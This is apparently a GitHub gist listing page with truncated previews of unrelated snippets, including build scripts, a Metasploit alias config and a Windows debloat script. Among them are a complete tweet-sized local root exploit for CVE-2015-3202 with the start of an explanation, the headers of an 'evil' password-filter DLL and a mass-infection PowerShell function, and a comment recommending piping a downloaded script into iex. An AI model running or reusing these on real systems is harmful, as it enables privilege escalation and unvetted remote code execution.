Skip to content

Instantly share code, notes, and snippets.

View jeffmcjunkin's full-sized avatar

Jeff McJunkin jeffmcjunkin

View GitHub Profile
@mubix
mubix / evilpassfilter.cpp
Created September 10, 2013 19:24
Evil "Password Filter"
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
void writeToLog(const char* szString)
{
FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");
if (NULL == pFile)
{
import System.Directory
import System.Environment
import System.FilePath
import Control.Applicative ((<$>))
import Control.Arrow (first, second)
import Control.Monad (void)
import Data.Either (rights)
import Data.List (isSuffixOf)
import Data.Set (Set, (\\), empty, fromList, insert, singleton, toList, union)
import Text.Parsec
@dferg
dferg / howto-tomato-install-entware.markdown
Last active January 22, 2024 04:40
HOWTO: Install entware on Shibby TomatoUSB

Introduction

This howto describes installing entware for the Tomato open-source router firmware.

Requirements

  • USB stick - 1G or more in size
  • USB-capable router running TomatoUSB.

This Howto Was Tested With

@artemdinaburg
artemdinaburg / build_mcsema_and_klee.sh
Last active August 29, 2015 14:10
Building mcsema With KLEE on Ubuntu 14.04 i386
# These are instructions for how to build KLEE and mcsema.
# These are a part of a blog post explaining how to use KLEE
# to symbolically execute closed source binaries.
# install the prerequisites
sudo apt-get install vim build-essential g++ curl python-minimal \
git bison flex bc libcap-dev cmake libboost-dev \
libboost-program-options-dev libboost-system-dev ncurses-dev nasm
# we assume everything KLEE related will live in ~/klee.
@artemdinaburg
artemdinaburg / build_maze.sh
Created November 24, 2014 03:58
Use mcsema to convert a maze binary to LLVM bitcode
# These directions will:
# 1. Build a binary version of the Symbolic Maze by Felipe Manzano
# 2. Convert the binary to LLVM bitcode with mcsema
# 3. Optimize the resulting LLVM bitcode
#
# These same actions are done by
# ~/klee/mcsema/mc-sema/tests/demo_maze.sh
# if you would like to run them automatically
cd ~/klee/mcsema/mc-sema/tests
@taviso
taviso / CVE-2015-3202
Created May 21, 2015 12:52
Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# Here's how it works, $a holds the name of a shellscript to be executed as
# root.
a=/tmp/.$$;
# $b is used twice, first to build the contents of shellscript $a, and then as
function Invoke-MassInfect
{
<#
Inspired by Chris Campbell's WMIS command encoder
https://github.com/obscuresec/random/blob/master/EncodeShell.py
CIDR Parser from Matt Graeber's Invoke-PortScanhttps://github.com/mattifestation/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1
@paulirish
paulirish / what-forces-layout.md
Last active November 15, 2024 16:45
What forces layout/reflow. The comprehensive list.

What forces layout / reflow

All of the below properties or methods, when requested/called in JavaScript, will trigger the browser to synchronously calculate the style and layout*. This is also called reflow or layout thrashing, and is common performance bottleneck.

Generally, all APIs that synchronously provide layout metrics will trigger forced reflow / layout. Read on for additional cases and details.

Element APIs

Getting box metrics
  • elem.offsetLeft, elem.offsetTop, elem.offsetWidth, elem.offsetHeight, elem.offsetParent
set PROMPT %red%L %yel%J %grn%S %blu%W
load nessus
load pentest
load sounds
load alias
alias j "jobs -v"
alias s "sessions -v"
alias -f w "workspace"
alias so "show options"
alias sa "show advanced"
@alirobe
alirobe / reclaimWindows10.ps1
Last active November 15, 2024 12:08
This Windows 10 Setup Script turns off a bunch of unnecessary Windows 10 telemetery, bloatware, & privacy things. Not guaranteed to catch everything. Review and tweak before running. Reboot after running. Scripts for reversing are included and commented. Fork of https://github.com/Disassembler0/Win10-Initial-Setup-Script (different defaults). N.…
###
###
### UPDATE: For Win 11, I recommend using this tool in place of this script:
### https://christitus.com/windows-tool/
### https://github.com/ChrisTitusTech/winutil
### https://www.youtube.com/watch?v=6UQZ5oQg8XA
### iwr -useb https://christitus.com/win | iex
###
###